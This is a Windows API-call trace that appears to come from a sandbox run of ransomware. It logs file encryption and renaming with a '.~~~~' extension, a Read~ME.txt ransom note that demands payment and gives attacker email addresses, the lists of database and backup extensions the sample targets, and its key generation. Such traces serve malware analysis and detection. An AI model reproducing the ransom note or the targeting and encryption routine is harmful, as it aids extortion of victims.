	[0084.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e69d0
	[0084.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e69d0 | out: hHeap=0x300000) returned 1
	[0084.846] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.846] GetLastError () returned 0x0
	[0084.846] GetLastError () returned 0x0
	[0084.846] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.847] GetLastError () returned 0x0
	[0084.847] GetLastError () returned 0x0
	[0084.849] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff440d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.849] WriteFile (in: hFile=0x11c, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xbbf3, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0xbbf3, lpOverlapped=0x0) returned 1
	[0084.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0084.850] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.850] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.850] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.850] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.850] CloseHandle (hObject=0x11c) returned 1
	[0084.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.850] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.~~~~")) returned 1
	[0084.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.851] GetLastError () returned 0x0
	[0084.851] RtlWakeConditionVariable () returned 0x365f70
	[0084.851] GetCurrentThreadId () returned 0x3a4
	[0084.851] GetCurrentThreadId () returned 0x3a4
	[0084.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0084.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6dc0 | out: hHeap=0x300000) returned 1
	[0084.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e50 | out: hHeap=0x300000) returned 1
	[0084.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6dc0
	[0084.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.855] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.855] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.856] CloseHandle (hObject=0x11c) returned 1
	[0084.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6dc0 | out: hHeap=0x300000) returned 1
	[0084.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28089c0 | out: hHeap=0x300000) returned 1
	[0084.857] RtlWakeConditionVariable () returned 0x365f70
	[0084.857] GetCurrentThreadId () returned 0x3a4
	[0084.857] GetCurrentThreadId () returned 0x3a4
	[0084.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0084.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0084.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e18 | out: hHeap=0x300000) returned 1
	[0084.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6688
	[0084.857] lstrlenW (lpString=".scr") returned 4
	[0084.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".scr") returned 0x0
	[0084.857] lstrlenW (lpString=".cmd") returned 4
	[0084.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".cmd") returned 0x0
	[0084.857] lstrlenW (lpString=".dll") returned 4
	[0084.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".dll") returned 0x0
	[0084.857] lstrlenW (lpString=".bat") returned 4
	[0084.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".bat") returned 0x0
	[0084.858] lstrlenW (lpString=".cpl") returned 4
	[0084.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".cpl") returned 0x0
	[0084.858] lstrlenW (lpString=".sys") returned 4
	[0084.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".sys") returned 0x0
	[0084.858] lstrlenW (lpString=".msc") returned 4
	[0084.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".msc") returned 0x0
	[0084.858] lstrlenW (lpString=".com") returned 4
	[0084.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".com") returned 0x0
	[0084.858] lstrlenW (lpString=".lnk") returned 4
	[0084.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".lnk") returned 0x0
	[0084.858] lstrlenW (lpString=".msp") returned 4
	[0084.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".msp") returned 0x0
	[0084.858] lstrlenW (lpString=".pif") returned 4
	[0084.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".pif") returned 0x0
	[0084.858] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.859] lstrlenW (lpString=".sqb") returned 4
	[0084.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".sqb") returned 0x0
	[0084.859] lstrlenW (lpString=".ost") returned 4
	[0084.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".ost") returned 0x0
	[0084.859] lstrlenW (lpString=".txt") returned 4
	[0084.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".txt") returned 0x0
	[0084.859] lstrlenW (lpString=".mdt") returned 4
	[0084.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".mdt") returned 0x0
	[0084.859] lstrlenW (lpString=".BDB") returned 4
	[0084.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".BDB") returned 0x0
	[0084.859] lstrlenW (lpString=".eql") returned 4
	[0084.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".eql") returned 0x0
	[0084.859] lstrlenW (lpString=".DBF") returned 4
	[0084.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".DBF") returned 0x0
	[0084.860] lstrlenW (lpString=".EQL") returned 4
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".EQL") returned 0x0
	[0084.860] lstrlenW (lpString=".FDB") returned 4
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".FDB") returned 0x0
	[0084.860] lstrlenW (lpString=".EDB") returned 4
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".EDB") returned 0x0
	[0084.860] lstrlenW (lpString=".DACPAC") returned 7
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.860] lstrlenW (lpString=".VHD") returned 4
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".VHD") returned 0x0
	[0084.860] lstrlenW (lpString=".DBV") returned 4
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".DBV") returned 0x0
	[0084.860] lstrlenW (lpString=".dacpac") returned 7
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".dacpac") returned 0x0
	[0084.860] lstrlenW (lpString=".sdf") returned 4
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".sdf") returned 0x0
	[0084.860] lstrlenW (lpString=".accdb") returned 6
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".accdb") returned 0x0
	[0084.860] lstrlenW (lpString=".DBX") returned 4
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".DBX") returned 0x0
	[0084.860] lstrlenW (lpString=".MDT") returned 4
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".MDT") returned 0x0
	[0084.860] lstrlenW (lpString=".SQB") returned 4
	[0084.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".SQB") returned 0x0
	[0084.861] lstrlenW (lpString=".vhd") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".vhd") returned 0x0
	[0084.861] lstrlenW (lpString=".bac") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".bac") returned 0x0
	[0084.861] lstrlenW (lpString=".mdf") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".mdf") returned 0x0
	[0084.861] lstrlenW (lpString=".BAK") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".BAK") returned 0x0
	[0084.861] lstrlenW (lpString=".BAC") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".BAC") returned 0x0
	[0084.861] lstrlenW (lpString=".dbs") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".dbs") returned 0x0
	[0084.861] lstrlenW (lpString=".vhdx") returned 5
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".vhdx") returned 0x0
	[0084.861] lstrlenW (lpString=".NDF") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".NDF") returned 0x0
	[0084.861] lstrlenW (lpString=".dat") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".dat") returned 0x0
	[0084.861] lstrlenW (lpString=".DBS") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".DBS") returned 0x0
	[0084.861] lstrlenW (lpString=".CKP") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".CKP") returned 0x0
	[0084.861] lstrlenW (lpString=".edb") returned 4
	[0084.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".edb") returned 0x0
	[0084.862] lstrlenW (lpString=".PST") returned 4
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".PST") returned 0x0
	[0084.862] lstrlenW (lpString=".dbf") returned 4
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".dbf") returned 0x0
	[0084.862] lstrlenW (lpString=".SQL") returned 4
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".SQL") returned 0x0
	[0084.862] lstrlenW (lpString=".pst") returned 4
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".pst") returned 0x0
	[0084.862] lstrlenW (lpString=".dbv") returned 4
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".dbv") returned 0x0
	[0084.862] lstrlenW (lpString=".SDF") returned 4
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".SDF") returned 0x0
	[0084.862] lstrlenW (lpString=".dtxs") returned 5
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".dtxs") returned 0x0
	[0084.862] lstrlenW (lpString=".db3") returned 4
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".db3") returned 0x0
	[0084.862] lstrlenW (lpString=".OST") returned 4
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".OST") returned 0x0
	[0084.862] lstrlenW (lpString=".dbx") returned 4
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".dbx") returned 0x0
	[0084.862] lstrlenW (lpString=".DB3") returned 4
	[0084.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".DB3") returned 0x0
	[0084.862] lstrlenW (lpString=".DAT") returned 4
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".DAT") returned 0x0
	[0084.863] lstrlenW (lpString=".VHDX") returned 5
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".VHDX") returned 0x0
	[0084.863] lstrlenW (lpString=".ndf") returned 4
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".ndf") returned 0x0
	[0084.863] lstrlenW (lpString=".DB") returned 3
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".DB") returned 0x0
	[0084.863] lstrlenW (lpString=".sql") returned 4
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".sql") returned 0x0
	[0084.863] lstrlenW (lpString=".MYD") returned 4
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".MYD") returned 0x0
	[0084.863] lstrlenW (lpString=".DBT") returned 4
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".DBT") returned 0x0
	[0084.863] lstrlenW (lpString=".ACCDB") returned 6
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.863] lstrlenW (lpString=".fdb") returned 4
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".fdb") returned 0x0
	[0084.863] lstrlenW (lpString=".bak") returned 4
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".bak") returned 0x0
	[0084.863] lstrlenW (lpString=".myd") returned 4
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".myd") returned 0x0
	[0084.863] lstrlenW (lpString=".DTXS") returned 5
	[0084.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".DTXS") returned 0x0
	[0084.864] lstrlenW (lpString=".ckp") returned 4
	[0084.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".ckp") returned 0x0
	[0084.864] lstrlenW (lpString=".dbt") returned 4
	[0084.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".dbt") returned 0x0
	[0084.864] lstrlenW (lpString=".db") returned 3
	[0084.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".db") returned 0x0
	[0084.864] lstrlenW (lpString=".TXT") returned 4
	[0084.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".TXT") returned 0x0
	[0084.864] lstrlenW (lpString=".MDF") returned 4
	[0084.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".MDF") returned 0x0
	[0084.864] lstrlenW (lpString=".bdb") returned 4
	[0084.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".bdb") returned 0x0
	[0084.864] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.865] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.866] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.866] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.866] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20485635849) returned 1
	[0084.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c6a9230, dwHighDateTime=0x1d60e1e)) 
	[0084.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9e18
	[0084.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e18 | out: hHeap=0x300000) returned 1
	[0084.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6dc0
	[0084.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6dc0 | out: hHeap=0x300000) returned 1
	[0084.867] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.867] GetLastError () returned 0x0
	[0084.867] GetLastError () returned 0x0
	[0084.867] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.867] GetLastError () returned 0x0
	[0084.868] GetLastError () returned 0x0
	[0084.895] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff39b7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.895] WriteFile (in: hFile=0x11c, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xc649, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0xc649, lpOverlapped=0x0) returned 1
	[0084.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0084.896] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.896] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
